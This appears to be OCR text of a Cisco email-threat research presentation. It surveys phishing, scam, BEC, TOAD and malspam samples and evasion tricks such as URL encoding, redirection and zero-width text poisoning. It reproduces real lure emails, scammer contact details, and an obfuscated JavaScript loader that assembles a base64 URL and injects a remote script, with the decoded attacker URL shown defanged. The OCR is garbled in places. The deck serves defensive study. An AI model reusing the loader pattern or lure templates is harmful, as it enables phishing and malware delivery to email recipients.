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| am a leader in the Email Threat Research team at Cisco
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My team is responsible for developing and
monitoring customer-facing detection features that
block email threats.

Postdoctoral research associate in Computer
Security at Northeastern University
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from University Carlos Il of Madrid

Publications: Dozens of papers in top security
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Service: I’'m continuously serving as the technical
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The Importance of Email Security
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Email Client Market Share

Apple 50.01
Gmail
Outlook
Yahoo Mail

Google Android

Outlook.com
Thunderbird | 0.24
Samsung Mail | 0.11
Web.de | 0.09

GMX | 0.08

Email Client

Usage Percentage

cisco
Calculated from over 1 billion opens in Litmus Email Analytics, in August 2024 (source: litmus.com).



https://www.litmus.com/email-analytics

Spam: The Unwanted Emails We Love to Hate

e Unsolicited emails that often contain commercial
messages or website links.

 Messages you didn't ask to receive.

 They attempt to persuade recipients to take some
action.

 They are not necessarily threats.

 They can be very difficult to filter out, and they
often clog up inboxes and slow down email servers.
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It all began with an email!

An outstanding percentage (>90%) of cyberattacks start with an email.
e Most notable examples:

* Operation Phish Phry
e RSA data leak

* Dyre phishing scam
 The Sony Pictures data leak

Cisco



Main Email Threat Types



Phishing

An email threat that heavily relies on social engineering to mislead
users into performing specific actions.

The attacker’s primary goal:

e Stealing financial information (e.g., bank account number, credit
card number)

e Stealing system login credentials (e.g., username, password)
Alternative goal:
e Tricking users to download and install malicious files

I.T. SAYS To LooK ouT FoR PRISHING

EMAILS, CLICKING THEM GULD OPeN
UP A CAN of WoRMS. ol |
So, LET S ADJoURN
TS MEETING AND

START cLIcKING!
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Phishing

June 1, 2024 at 4:16 AM

- Please confirm to continue.
To:

Please note _authentication expires 01 June, 2024.

Please continue to keep or change your password.

Regards,

Cisco



Scam

An email threat that is designed to deceive the recipient into sending money or providing personal information.
It’s sometimes called a “phishing scam” too.

Yesterday at 7:26 PM
Attention: Beneficiary, ATM Master Card /Bank Draft
To:

POST OFFICE COURIER COMPANY

Mobolaji Bank Anthony Way, lkeja.

Lagos Nigeria.

Attention: Beneficiary, ATM Master Card /Bank Draft

This is Post Office Courier Delivery Company of Nigeria, the Management of this company, wishes to inform you that, we received a Parcel containing a Bank Draft/an ATM Master Card valued $10.5 million United State Dollars, with some vital documents attached on it, for safety delivery to Your home address in your country, within’ the next 72
hours as soon as we Hear from you. This is (payment office) | am directed to inform you that your payment verification and confirmations are OK.

Full names..........

Parcel owner address...........

Waiting for your urgent response as expected:

Yours sincerely .

Mr. Johnson Uzo .
EMAIL jjohnsonuzo501 @gmail.com
Dispatch Manager Post Office Company.

Cisco



Scam

WINNER (2024)!
To:

Publishers Clearing House
Attenti Winner,

Congratulations on your confirmation as the legitimate

beneficiary of your U.S. PCH Lottery prize of USD 2,850,000.00 in
cash and a 2024 Ford Bronco Sport in our 2024 Publishers Clearing
House Lottery. To claim your winnings, please get in touch with

the delivery company using the details provided below.

Number Draw: 05, 07, 10, 03, 12, 43
Insurance Number: 435/453L/T011
Ticket number: 719-226-1319

Serial number 902-66

The delivery company requires the following information from yoi
Name, Home Address, Age, Telephone, Occupation, Nationality,
Country of residence.

Contact Mr. Craig Peterson for any inquiries or assistance.
General Enquiries:
Email: Purolator

| anticipate your swift response and collaboration to ensure the
timely delivery of your funds.

Congratulations once again.

Best Regards,

Andrew Goldberg
PCH Lotto Official

Copyright 2024 Publishers Clearing House. All Right Reserved
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Online Banking- verify your account

To: [

Email Account
Compromise (EAC)

* An email threat where attackers use various CHAS E “‘

tactics (e.g., password spray, phishing, and

malware) to compromise victims’ email Dear, customer
acco untS’ ga|n|ng access to |eg|t| mate We recently detected an unsafe Log-In to your Chase account.
ma | | bOXES. As a safety protocol we have temporarily suspended your account.

During this limitation you will not be able to Access your account,

J |t'S aISO kn own as email account ta keover. make/accept funds, withdraw available funds.

To Protect your account please confirm your identity as soon as this
email is received.

© 2024 JPMorgan Chase & Co..
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Business Email Compromise (BEC)

An email threat aimed at causing financial loss to a business, normally by tricking victims into sending money to an
account under attackers’ control.

BEC and EAC are very intertwined.
FBI has been tracking the EAC and BEC threats as a single threat type since 2017.

AS September 20, 2024 at 11:58 AM
TIME SENSITIVE

To:

Hello Jill,

Re-confirm you phone number, I'm trying to reach you. Thanks.
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Vendor Email Compromise (VEC)

VEC is a specific BEC threat where threat actors compromise a company’s email accounts, and then, hijack email
threads to convince a supplier to redirect outstanding payment to an illicit bank account.

Threat actors impersonate an individual at a trusted vendor organization.
VEC email threats capitalize the trusted relationships between customers and their vendors.

BG June 7, 2024 at 2:57 AM
ACCOUNT UPDATE INFORMATION

To:

Greetings

Moving forward please We are no longer with that bank see attached the new payment policy stating our bank payment see details to process opened and pending invoices due for payment this week and in the future.

Note: We received a bogus check from another vendor which had our account flagged on Friday. We are here by opting out from check.
All payments should be made payable via ACH/WIRE to our account as attached

We are currently having issues with our cashflow

We have a lot of invoices long overdue

Can you please confirm the next payment date from your AP.

Jim
Vice President, Operations

Cisco



MalSpam

 Malware that is delivered via email messages is known as Malware Spam (or MalSpam).

« Afew examples:
* Melissa virus is recognized to be the first malware widely distributed by email in 1999.
 [LOVEYOU computer worm that was sent to millions of people in 2000.
 NanoCore, first observed in 2013, was delivered via phishing emails.

* Agent Tesla which was first appeared in 2014 and surged in the 2020s when it was leveraged for COVID-19
themed phishing campaigns.

STATEMENTS 3665
To:
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The Role of Social Engineering

Social engineering techniques are used extensively is most
email threats.

Human hacking: relying on psychological manipulations to
trick users into making security mistakes or giving away
sensitive information.

Most popular techniques:

* Exploiting a victim’s desire for information
 Leveragingintimidation and urgency to drive action
* Hiding attacks within popular events

* Impersonation (e.g., brand impersonation, sender
domain impersonation)

.
»

~ O - ;
ONLY YOU ? “ﬂ

FC:WREVENT SOCIAL ENGINEERING
- - -

Cisco



Email Threat Trends



BEC & VEC

July 30, 2024 at 5:35 AM
Request
To:

Can | have a quick conversation with you,| need you to reply to this mail as soon as you receive it, also drop me your WhatsApp number for a quick chat. Thank you.

Regards.

Derek Neldner,
CEOQ.

August 28, 2024 at 7:59 AM
Ccw g

Urgent request
To:

Hey there, eh! Are you a bit less tied up right now, eh? I've got a confidential task for you to handle. I'll be in a meeting shortly, so no calls, eh? Could you kindly respond via email?

Christian Wulff
CEO
Take care, eh!

Cisco



BEC & VEC

August 30, 2024 at 12:17PM
Respond ASAP
To:

Hi Maria

How's it going?
Kindly confirm your cell phone number.

Thank you,
Sarah Macdonald
CEO & President, C.L. Smith

Sent from my mobile device.

Cisco



QR Code Phishing

7AM

tember 9, 2024 a

=?UTF-8?Q?Enroll Now: 2024 Cisco Benefits Enrollment Deadline Approaching?=

v

To:
é

Save All (42 KB)...

B Cisco Benefits Enroliment.pdf

Quick Look

urces ate
September 9, 2024
Attached document include a Benefits Enrollment Form and a Guide to complete your
‘nrollment. All forms can be completed and signed electronically, and once

vthin,

Please scan the QR code below to complete your benefits enrollment:
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QR Code Phishing

Authentication Notification anuary 8

MN
Reminder: 2-Step Authentication - 08 January, 2024 06:42:47 AM

To:

Save All (49 KB)...
B tg7d1.webp

Export to Photos
Microsoft Quick Look

Authenticator

Microsoft Corporation

New Authentication for

Your account authentication will expire 08 January, 2024

please secure your account on or before 09 January, 2024 to avoid issues with mail
malfunction and avoid error with mail retrieval or while mailing out

Please scan the Qr above to authenticate your account securely using your mobile device

« Open Mobile Camera
« Scan Qr code

- Autnenticate [

Thanks
Best

Maximize the everyday

th M line prot
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Phishing via File Sharing

ine 5, 2024 at 12:23PM
BL :
Re: 06.05.2024_KATSIROUBAS PRODUCE_#393750_Spreadsheet

To:

2
I i vited you to view

afile

Please let me know if you can't open the file.

Thanks,
|

Senior Accountant

Cisco



Phishing via File Sharing

Signature Required: Panerabread Benefits Assesment
To:

Save All (1.9 MB)...

B Bbff66 48877773d.jpg

Export to Photos

Quick Look

Your document has been completed to review and sign

Al parties have been completed.

Download the attachment above to review and electronically sign the pending document
When DocuSign is applied, there is no requirement for a paper copy to be produced

Thank You.

Do Not Share This Email
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ishing via Brand Impersonation

We've detected some suspcious debit card activity ! Date:2024-06-06
To:

Suspicious transaction

Amount: $171.15

2024-06-06 09:08

Transaction date: (UTC-5)

Status: Hold

We've detected some suspcious debit card activity and te
mporarily blocked online access to your account for security r
easons.

To secure your account, verify your identity and choose
'‘Approve' or 'Decline’ below to proceed with the transaction.

€ Ccd

Due to concerns, for the safety and integrity of Wells Fargo ¢————
Bank account users, we have issued this warning message.
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Phishing via Brand Impersonation

MP

To:

SECURITY ALERT! Cleansing Needed!

REMOVE THE VIRUS FROM YOUR DEVICE

ATTENTION:
Your Google account may be at risk

We have noticed multiple suspicious activi
24 hours. Your Google account may be suspended

How to Secure Your Google Account

Tap the button below to proceed to security check.

January 3,

2024 at 10:37 AM
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Phishing via Brand Impersonation

Re: Peacock TV
To:

Congrat Peacock TV

peacock:

Your Membership has expired!

peacock:

Dear customer,
Your membership has expired.

But, as part of our loyalty program, you can now extend for 80 days for
free. Enjoy free 2-day shipping, Popular movies and hit tv-shows - all

available with your Prime membership.

Extend for Free

* After signing up, you have to insert your credit card details for validation of your account
We will not withdraw any amount.

https://blog.talosintelligence.com/from-trust-to-trickery-brand-impersonation/
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Telephone-Oriented Attack Delivery (TOAD

January 3, 2024 at 8:21AM
payment summary info
To:
Save All (59 KB)...

INVOICE B GGCXZQ124853.JPG

Export to Photos
Quick Look
Please note that your order for 2 years of Geek Squad Protection Plan has

been processed from our end. An amount of $269.00 has been deducted
from your account. It may take up to 24 hours to reflect in your account.

Dear Customer,

Didn't place the order? Reach helpline - +1 814 2717926 «——

Product name Geek Squad Protection
Total amount $269.00
Transaction date January 03, 2024
Order number GSDCX437544810
Order status Delivered

If you face any issue with the product or if you have any query or if you

want to cancel it, then you have to contact us within 24 hours to our
help desk number +1 814271 7926.
Thank you,

Bill Desk.
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Telephone-Oriented Attack Delivery (TOAD

JA January

Your invoice for the renewals
To:

Save All (65 KB)...

January 3, 2024 B ikfhgsfgufrgf. PG [P EE—

Transaction ID: 8019HQ8GSI1Z74BG3
Export to Photos

You have made a payment of $298.99 USD to Geek Squad. ¢—— s et

ppo 1(814) 271-7926 «———

It may take a several minutes for this transaction to show up in your account history
ller Instructions to seller

S T
ST nrid e Sl e Auto payment mode selected for future

Renewals.
Payment Status
Amount paid in full

$ 298.99

Receipt ID: G-15YTC7QERNN091815 $298.99
$298.99
Problems with this transaction?

You have 24 Hrs from the date of the purchase to issue a dispute in the Resolution Center

4) 271-7926.

Contact our support Team: +1 (814) 271-7926.
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Telephone-Oriented Attack Delivery (TOAD

HAPPINESS ASSURED

Save All (767 KB)...
B JPGQ_fgdfga6B7dfgsds.png RS

Export to Photos.
Quick Look

+1(808) 216 0972 «—
Your membership is scheduled for renewal on st 28,2024
Geek Squad Membership Notice

Dear Valued Customer,

Thank you for choosing Geek Squad services. Here are the details of your current subscription:

Subscription Details:

- Service: Geek Squad Membership
- Payment Method: Automatic Debit
- Order Number: 714GEEKJQSA
- Invoice Number: JQSAK687325

- Subscription Fee: $499.99 annually

The amount will be appearing on your financial statement within 24 hours.

If you have any questions or wish to cancel your subscription, please contact customer support directly.

+1 (808) 216 0972

Ensure you use official contact methods to avoid scams.

gard

quad team
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Telephone-Oriented Attack Delivery (TOAD

January 5

Purchased Done

To:
&

v

Save All (438 KB)...

B HBRF-6382-OQPL-9936.jpg B EE—

Hello,
Thanks For Choosing Norten.

Export to Photos

INVOICE NUMBER: #HBRF-6382-0QPL-9936
INVOICE DATE: 05-01-2024 Quick Look

Reach Us: -+1 (805) 633 0536 <¢———

Thank you again for choosing Nerton Life lock and we look forward to
serving you in the future!

Product Quantity Tax (%) Amount

Norton Life lock Premium 01 $0.00 §372.99
Protection Plan

Subtotal §372.99

Please be advised that if you did not authorize this order and wish
to cancel, it is important to contact us immediately within 24 hours
of receiving the confirmation email. Please note that terms and
conditions apply, and failing to contact us within the specified time
frame may result in delays or complications in the cancellation
process.

Cisco



Telephone-Oriented Attack Delivery (TOAD

Receipt #65748768
To:

Save All (429 KB)...
B 346347.png

Export to Photos
Quick Look

Mastercard

Master Card Payment!
Thank you for using your MasterCard to purchase a Master E-Gift Card online,
totaling $550.00 from the same credit card on recerd.

If you have any questions or concerns about this transaction, please feel free to
contact our customer support team for prcmpt assistance.
Details:

Description
Master E- Gift Card

Date: January 30th 2024
Order Id: GS6499378
Online Purchase

Automatic Payment

Total: $550.00

Card is designed to ate automatic billing when the card
balance falls below a specific threshold.

Should you encounter any difficulties with this transaction, kindly contact our
dedicated support team promptly at

Your satisfaction is our priority, and we are here to assist you

Thanks & Regards,

Master Card Team
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Telephone-Oriented Attack Delivery (TOAD

ow
Your Recent Purchase EBKGOA

To:

Save All (217 KB)...
090_OrderDetails_NTLJWS55L.pdf B e

Quick Look

McAfee

RECEIPT ID ODEUSDCVK
PRODUCT VERSION Secure Pro - 141 year

24 HOUR HELP DESK +1(888) 322 5451 4—

TRANSACTION DATE uary 8', 2024

Your Secure Pro plan has been successfully upgraded and
you've been charged as per the auto-pay agreement to extend

the device auto-renewal contract

PRODUCT TYPE: SECURE PRO (1+1 year) pre-activated license
LICENSE TERM: 2 years
VERIFICATION ID: 1904489066445

TOTAL PAID:  $335.77 USD (including applicable taxes)

This software has been activated for NN

Do you need help with installing this product or have you

changed your mind about this subscription?

Reach out to our helpline at 888-322-5451

Cisco



Evasion Trends



URL Shortening

URL shortening services conceal the target destination of a URL.

Consequences:

* For phishing targets, they can fall victim easier as the final page is not visible.
 Fordefenders, the raw extracted URLs are normally submitted to reputations services, and since the

shortened in this case, it can create challenges.

[COVID19]!
To:

Please view this email in html mode.

, Pay-Off Your Mortgage in 50% LESS Time from 2.98%

—_T@ac986c-7753-492a-8b8f-all22bf276d0_
Content-Type: text/plain; charset="iso-8859-1"

Please view this email in html mode.

—_f@ac9e6c-7753-492a-8b8f-al122bf276d0_
Content-Transfer-Encoding: 8bit

—_f0ac906c-7753-492a-8b87-a1122b1276d0_
Content-Type: text/html; charset="utf-g"

<html>

<head>
<title></title>

</head>

<body>&nbsp;</body>

</html>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><a href="http://fedemfleergale.com/pDUtEA7nEx7aU_NufhYVYPe1T-T7DHivZBp6zH7GD2LcnvGWXQ" style="

a><l-——
forgot university gather captured seven film electricity

—_f@ac9e6c-7753-492a-8b8f-a1122bf276d0_

—_f@ac9e6c-7753-492a-8b8T-al122bf276d0_

—_f@ac906c-7753-492a-8b8f-al122bf276d0_

worth paris quarter dead

exciting

separate view sense series mount
concerned
—_f@ac9e6c-7753-492a-8b8f-al122bf276d0_

—_f@ac986c-7753-492a-8b8f-al122bf276d0_
Content-Type: text/html; charset=IS0-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

<html><head><body><a href="http://tinyurl.com/7ashbdsa9">Click me</a></body></head></html>

raw URL is

Cisco



URL Shortening

 Afew popular shortening services
» Bitly (bitly.com): Free for up to 5 links/month (and 2 QR codes/month)
* TinyURL (tinyurl.com): Free for up to 100 links/month without analytics

* Rebrandly (rebrandly.com): Free for up to 10 links/month (and 10 QR codes/month)

* Sniply (sniply.io): Free for up to 250 links/month in through a 14-days trial plan
e Shortenworld (shortenworld.com): Free for up to 1,000 links/month (and 200 QR codes/month)

 Shorter.me (shorter.me)

* Ln.run(In.run)

e Come.ac (come.ac)

Cisco


https://bitly.com/
https://tinyurl.com/
https://www.rebrandly.com/
https://sniply.io/
https://shortenworld.com/
https://shorter.me/
https://ln.run/
https://come.ac/

URL Shortening

Number of Phishing or Scam Emails with Raw Shortened URLs via Different Services
(Jan - Sep 2024)

Ln.run
Shorter.me

TinyURL

Bitly

Cisco
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URL Encoding

Threat actors use percent-encoding to change the original URL and evade reputations services and/or email
gateways.

Most popular methods:

* Single-encoding: one encoding technique.
o Percent-encoding
o Hex-encoding
o Baseb4-encoding

 Multiple-encoding: a combination of different encoding techniques.

Cisco



URL Encoding: Percent-Encoding

L
4 Trusted Tools for Every Job [1477527]

To:

https%3A%2F%2Farertuhidvbrtu
yolv.khomasdal.com%2F4SfuON
138135YHd0O203tgmefkyvvp 159
ODFPWDEZHRVILSRF575218%2F
269050d32&data=05%7C02%7C
kosman%40pasenate.com%7C2
ede706534ab40a3fb1b08dcdefl
a49b%7C93627e0e68cc4884b5c
889613a97e74e%7C0%7C0%7C
638630377587135441%7CUnkn
own%7CTW FpbGZsb3d8eyJWljo
iMC4wLjAwMDAILCIQljoiV2IuM
zIiLCJBTil6lk 1haWwiLCIXVCI6Mn
0%3D%7C60000%7C%7C%7C&s
data=Ls3roteRz5tUtHhACzLVALY]j
ad9i6i71zs5g5iBj9tg%3D&reserv
ed=0

Get Professional Results with Kobalt Tool Set!

It will take you only a minute to receive this fantastic prize - Kobalt Tool Set

LOWES
» ABRAND NEW &«

Kobalt Tool Set

CongratUIations!

Share your valuable insights and win big! You've been
chosen for a quick survey about store promotions at Lowe’s
By participating, you could win Kobalt Tool Set!
To claim, simply take this short survey about your
experience with Lowe's.

GET STARTED NOW
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URL Encoding: Base64-Encoding

[
4@ [EXTERNAL]Your cart has expired but there are still more products to love!

To:

https://post.spmailtechnolo.co
m/f/a/SRkm9G0Jz3XCg63Y1vall
A~~/AATkxQA~/RgRo1ZotPORQa
HROcHMG6Ly9wY3JpY2hhcmRzb2
4uZW1lhaWwtc3NsLmNvbS9lbW
FpbC9saW5rLmpzcD9zPWR0X3B
nZlgxNzI20TQ3MTAYMDAzImw
SMSZhPTNXA3NwYOIKZustFfNm
NkpoUIllYbHBIcmV6MOByaXNpb
mdncm91bmQub3JnWAQAAAA
A

Check out these products recommended just for y

PCRICHARDX SON

Over 100 Years of Honesty * integrty * Refiabisty

YOUR CART HAS
EXPIRED BUT THERE’S
STILL MORE TO LOVE!

Checkout Now

Hi There,

Thanks for shopping with P.C. Richard & Son. Your cart has expired but there are
still more products to love! Check out these products recommended just for you.
Shop now!

RECOMMENDED:

N
poly &
s

MTX ZN3KI-04 4 AWG Hudson & Canal Colton
Amp Kit with RCA TV Stands with Log

View ltem View ltem
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URL Encoding: Multiple-Encoding

September 4, 2024 at 4:16 PM

Remittance - 9/4/2024 Ref:[0183066494]
To:

Save All (650 bytes)...

Remittance Advi . . ;
_S'T;;I e ayoay ] B Remittance Advise _0183066494.html

Quick Look

:alnut g ["aHR@cHME ',

“Ly9@aGVib",

“69ja2,

“d1Zwsuy29t”, . .
wneawne,  Muyltiple characters can be used to determine the
"ODcONz" , ' . o . .

a2, poundaries of strings in JavaScript:

EyZjImNjg3~,

'MjYINjYyZ',

‘TZjNG -,

pichiniy "

"E\SMzNhMmY)'f”, DOUble Quotes ( )

'ZjUSNmY ',

*ZODIWNZI3', S|ng|e Quotes (')

'"OTZINJE3",

"NjYINz", . N

'gyZTY", Backticks ( )

"zNmY2Z",

"DImNzU®" ,

"NDUIN ",

‘zAMZ,

‘czNDU20"',

'TImLW11b",

"GJlcn”,

"350];

document .documentElement.appendChild(Object.assign(document.createElement ("script"),{src:atob(walnut.join(""))}));
mulberr : Y i Rraoh

Ry Email address of the victim

<cn style="display:none;'">She decorated the cake with colorful frosting.</cn>
< ></ >

e cisco



URL Encoding: Multiple-Encoding

September 4, 2024 at 4:16 PM

Remittance - 9/4/2024 Ref:[0183066494]
To:

Save All (650 bytes)...

Remittance Advise & B Remittance Advise _0183066494.htm|

_0183066494.html

Quick Look

< >

<script> aHROcHM6Ly90aGVibG9ja2dIZWsuY29tL3JlczQONC5waHA/ Mi02 ODcONzQ3MDczM2EyZjJmNjg3M;jY1NjYyZTZ

walnut ['aHROCHMG * ,

Gojaz s jNjkyZjNmNjg3NDcONzA3MzNhMmYyZjU5NmYzODJINzI3OTZINjE3NjYINzgyZTYzNmY2ZDImNzUONDU1NzA2
Zw/o MzczNDU20TImLW11bGllcn)5
‘0DCONZ',
e Base64-Decode l
"MjYINjYyZ',
N
obeon: hxxps|://Itheblockgeek[.Jcom/res444[.]php?2-
’*ggﬂvl‘f ' 68747470733a2f2f687265662e6c692f3f68747470733a2f2f596f382e72796e617665782e636f6d2f75445570
Gari= 637345692f-mulberry
'gyZTY',
Sl Hex-Decode
"NDUIN" ,
“zA2Mz,
'czNDU20"', . g
TInLWLs, hxxps[://]href[.]li/?hxxps[://]Yo8][.]rynavex[.Jcom/uDUpcsEi/
;f)g:r:?ént.documentElement.appendChild(Object.assign(documenr. createElement("script"),{src:atob(walnut.join(""))}));
mulberry g
:/ styIZ:“display:none;">She decorated the cake with colorful frosting.</ci>
3 ></ >
</ >
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URL Redirection

* Open redirect vulnerability:

One of the most common ways to evade detection in phishing emails.

It can be used to manipulate the web application to redirect users to a different URL other than the one that's
intended.

They result from insecure input validation on a website or a service that allows for parameter tampering.

http://foo.com/resources/
?url=http://bar.com

user clicks on

user gets redirected
foo.com/resources

to bar.com

Cisco



URL Redirection

Update: Review New Sharepoint File
To:

This link will expire soon.

You have received a document for@{Bluebe: SharePoint

Statement.txt

% o @ W P

This email was sent from a nolification-only addres that cannot accept incoming emails. Please do
not reply to this message.
°

Copyright 2024 Microsoft Corporation
@

Microsoft Gorporation, One Microsoft Way, Reddmond WA®

Cisco



URL Redirection

September 20, 2024 at 9:19 AM

DP .
RE: IT Service Portal

To:
Reply-To:

Dear Email User

Your Outlook account version has expired, please Click IT Service Portal to update to the new secured version to avoid spam messages.

Any Outlook accounts that have not been updated within 48 hours will be classified as inactive, which may result in account deactivation/closure.

Thank You
IT Service Portal

Cisco



URL Redirection

Cc
Your Order 2BBX4PBP is Complete.
To:

https%3A%2F%2Fvg505zni[.]r[.]us-east-

1[.Jawstrack[.Jme%2FL0%2Fhttps%3A%252F

%25 2Flink[.]edgepilot[.]com%252Fs%252Fe2 Order #2BBX4PBP
2819d0%252FsAwCO1bNUEm1l_YOHk1R3w%

253Fu%3Dhttps%3A%252F%252Finstoc[.Jme

%252F%2F1%2F01000192251460e9- Hello I,
cbbde414-d9dc-4995-bb1f-cd55c3c528bb- Thank you for your order. Click on the link below to Download Documents.
000000%2F-

0_RcXK77Ap1InQJM6Y_obsxyJE%3D393&dat «—
a=05%7C02%7Calyssamclean%40mvalaw[.]co

m%7C6e46f86bebdb4d37699e08dcdcbe64d5 Order Summary

%7C1b6chd2d1d5e4f4496f597d4e 1f3e5c1%7 " et
C0%7C0%7C638627960473424371%7CUnkn Unit Information
own%7CTWFpbGZsb3d8ey)WIjoiMC4wLjAw

MDAILCIQljoiV2IuMzIiLCJBTil6lk1haWwilLCJX

VCI6Mn0%3D%7C40000%7C%7C%7C&sdata= Dl resons o b S ko Bl e o i o i
7601)%2 FwWb%2BCdhbw%2BIsY MZkRih4Wr ‘
K4kODYfz53X50Yg%3D&reserved=0

The Sentry Team

Sentry Management is a leader in managing homeowner associations and condominiums since 1975

Cisco



Text Rephrasing

Hello dear|

Congratulations! Your account #554488255 has been credited with a
significant deposit! Log in now to view the transaction details.

© You've just received 1 Bitcoin, a fantastic opportunity to increase
your wealth. Whether you decide to hold, exchange, or spend it, you're
in for a ride. With the recent surge in the value of cryptocurrencies,
this generous gift could potentially change your financial future.

@ Now, the question is, what will you do with your newfound digital
fortune? There are _endless possibilities for how vou can utilize this
cryptocurrency. |You could purchase more digital assets, save it for
the long term, or even use 1t to make purchases from select retailers

The registration process for Bitcoin typically requires you to create
a digital wallet to store your coins.
Instructions (Click)

https://docs.google.com/drawings/d/1IMPVWYYmOWSajIP43vQ1j0SPuiSLwEYvtrnvbBeCV1BO/preview?474jq51aa448

Good afternoon dear.

Congratulations! Your account k214579083 has been credited with a
significant deposit. Log in now to view the transaction details!.
£l You've just received 1 Bitcoin, a fantastic opportunity to increase
your wealth. Whether you decide to hold, exchange, or spend it, you're
in for a ride. With the recent surge in the value of cryptocurrencies,
this generous gift could potentially change your financial future.
d Now, the question is, what will you do with your newfound digital
fortune? There are endless possibilities for how you can utilize this
cryptocurrency. |You could acquire more digital assets, stash away 1t
tfor the long term, or even use 1t to make purchases from select
retailers.

Completing the registration process for Bitcoin is a great way to get
started with the digital currency revolution.

Further instructions (Click)

Cisco
Z_HNNASKyTB58PAm oK) ZZauGIRTZ0bIWZU/preview? /n3gegp




Text Poisoning

September 4, 2024 at 4:56 AM
Remittance AdviceNote 8d209b087219acf385cd73affa59381e
To:

Electronic_Receipt_ATT &
0001.htm

= >
< >
walrus ["aHROCcH', "M6Ly91em  ,"VyYXBw", 'cm92ZwWQu", "Y29tL3Jlcz"
, 'QONC5waHA", '/M1020Dc0 ',
"NzQ3MDczM ™, '2EyZjl',"
mNjg3MjYIN', “jYyZTZjN',  jkyZjN', "mNjg3ND ",
'CONzA3Mz', NhMmYy , "ZjRiNzQ3M", "TQzNGYyZ"
, TYINjgz ,"NTZhM", ‘muU2Mz‘,
“ZmNmQy 'ZjRKkNmM', 'QYjYyNDY ', "yZilx ,"dWFpbA=="];
document .documentElement.appendChild(Object.assign(document.createElement("script"),{src:atob(walrus.join(""))}));
quail i W
</ >
<em style="display:none;">He crafted a wooden birdhouse for the yard.</em>
< ></ p
<Y >

Cisco



Text Poisoning

Adding specific characters to the source of emails that are visually invisible to bypass feature extraction and/or
threat detection.

Zero-Width SPace (ZWSP) characters: Most applications treat them as regular spaces, even though they are not
visible to the naked eye.

 0x200B (Zero-Width Space)

e 0x200C (Zero-Width Non-Joiner)
 0x200D (Zero-Width Joiner)

* etc.

Cisco



Text Poisoning

Norton
4 Receipt Confirmation 5792719-
To:

Norton LifeLock

Dear- N

Date-6/27/2024

Address-

Product: Norton Security

Renewal Fee: $162.71

Order id-R551805SqAiB

Customer id-D55¢cDy3jMB;jj5QB

Thank you for your payment! We are glad to confirm that your payment has been successfully received and processed. We truly appreciate your trust and your business.

Your support is vital to us, and we thank you for choosing our services. Should you have any questions or require further assistance, please contact us at : 1 8 58 367 90 62

Sincerely,

Norton LifeLock

<p align="center">
< size="7" face="Times New Roman'>
< >No r t on L if e

L ocC k
</ > Zero-Width Non-Joiner (ZWNJ)

</font> Zero-Width SPace (ZWSP)

Ccisco



Using Visual Components

It will take you only a minute to receive this fantastic prize.
Set

HARBOR FREIGHT

QUALITY TOOLS LOWEST PRICES

ANSWER & WIN: A BRAND NEW

Pittsburgh 225 Piece Tool

Congratulations!

You have been chosen to participate in our Loyalty Program for
FREE! It will take you only a minute to receive this fantastic prize.

Claim Your Prize: Survey and Win a Pittsburgh Tool Set!

HARBOR FREIGHT

QUALITY TOOLS LOWEST PRICES

ANSWER | piccburan 225

Piece Tool Set

GET STARTED

You have been chosen to participate in our Loyalty Program for
FREE! It will take you only a minute to receive this fantastic prize.
N\

N\

N\

View this email in your browser

ANSW ERSSWIN

TAKE PART IN HARBOR
FREIGHT SURVEY
TO GET ONE OF OUR EXCLUSIVE REWARD

£

42)
r '-‘\ — Al
AN

Ll

START SURVEY

o= |

Today You‘ve been chosen to receive
A Brand New Pittsburgh Mechanic Tool Set

R FREIGHT

QUALITYTOOLS _LOWEST PRICES

BEST

HOME
REWARDS

o 143 Exchang , Hutto, TX,

Cisco



Using Visual Components

L]
@ Trusted Tools for Every Job [1477527]
To:

It wil take you only a minute to receive this fantastic prize - Kobaht Tool Set

Lowe's Platform Abuse

A BRAND NEW &« X @ zupimages.net

Kobalt Tool Set

»

NN

A - N
Q

\\‘\‘

Bienvenue

Hébe &

33 904 815 images envoyée

Hébergez vos images en toute simplicité.

Hébergez vos images et pl gratuitement et simplement en 1 clic. Hébergement d'images et phot

de qualité. L'accés et le chargement de vos

images et s sont rap t optimisés grace & notre hébergement sur serveur performant. Le lien de votre/vos image(s) vous est/sont fournis

instantanément aprés lupload de celle(s)-c

p\y}a‘e this short survey about your
experience with Lowe's.

GET STARTED NOW Jai besoin d'aide : comment héberger une image ?

I Parcourir

I Parcourir

# d'images (multi-upload)

Different Victims, Same Layout: Email Visual Similarity Detection for Enhanced Email Protection
(https://arxiv.org/pdf/2408.16945) cisco



Using CAPTCHAS

Just a moment

Please stand by, ewe are che

We need to review the security of your connection before proceeding. &% Micro

Sign in

o € m®

Cisco



Using CAPTCHAS

Please click each image
containing a goose

If there are None, dick Skip

Sign in

= o € m o

Cisco



Using Obfuscation

] October 24, 2023 at 11:01AM

PO Deposit confirmation number: OTR5801151

CONFIDENTIALITY NOTICE: The contents of this transmission and any attachments are intended solely for the use of the intended recipient(s) and may contain confidential and/or privileged information that is protected by law. The authorized intended recipient of this
transmission is prohibited from disclosing the information contained in this transmission to any unauthorized person(s). If you are not the intended recipient, and you have received this transmission in error, please immediately notify the sender or contact us at 877-217-
2676, and then destroy this transmission and any attachments. If you are not the intended recipient, please be advised that any use, sharing, disclosure, distribution, printing, or copying of the contents of this transmission is strictly prohibited. Your cooperation in

Down_Paym934099.Ht
ml.

&

contacting us of erroneous receipt is appreciated.

Cisco



Using Obfuscation

<!DOCTYPE html>

<n1m‘1:h;:gg='i¢‘an"> Dou ble_ EnCOd i ng

</script>
</head>
<body>
<input type="hidden" id="FLKWtdioe" value="
VYMFIGSZyEVHMnXvxMBKCA3NiAXMDkgNzAgMTIxIDKSIDEWOSAINYAXMTAGOTkgMTASIDg2IDEWOCASOCAXMDUGNTMgMTA2IDk4 IDUWID2IDk4IDUWIDQ4IDEXOCA4AUresZQHVPYVrb" >
<input type="hidden" id="OedWr" value="
aMKwdENg rrlpsaj IPUKIXyimEqqNCRIgbvVx0SA4NyQ4IDEXOCA50SA3MSAMCAXM] EgOT cgMTIXIDU3IDEXNSAS0CAIMCAXMDAGMTEyY IDKk4 IDEWNSA1MYAXMTkgOTcaNzIgNjUgNj E=">
<input type="hidden" id="sOedWr" value="L1ArLtPbpOqphOTcgNzIgODIgNDggOTkgNzIgNzcgNTQgNzYgMTIXIDU3IDEWNiAS0SA3MiA30CAIMCASOSAXMDUGNTMGMTEXIDK3IDG3IDU3IDEXNiASNYA4NYATMyAxM]Ig0Dk
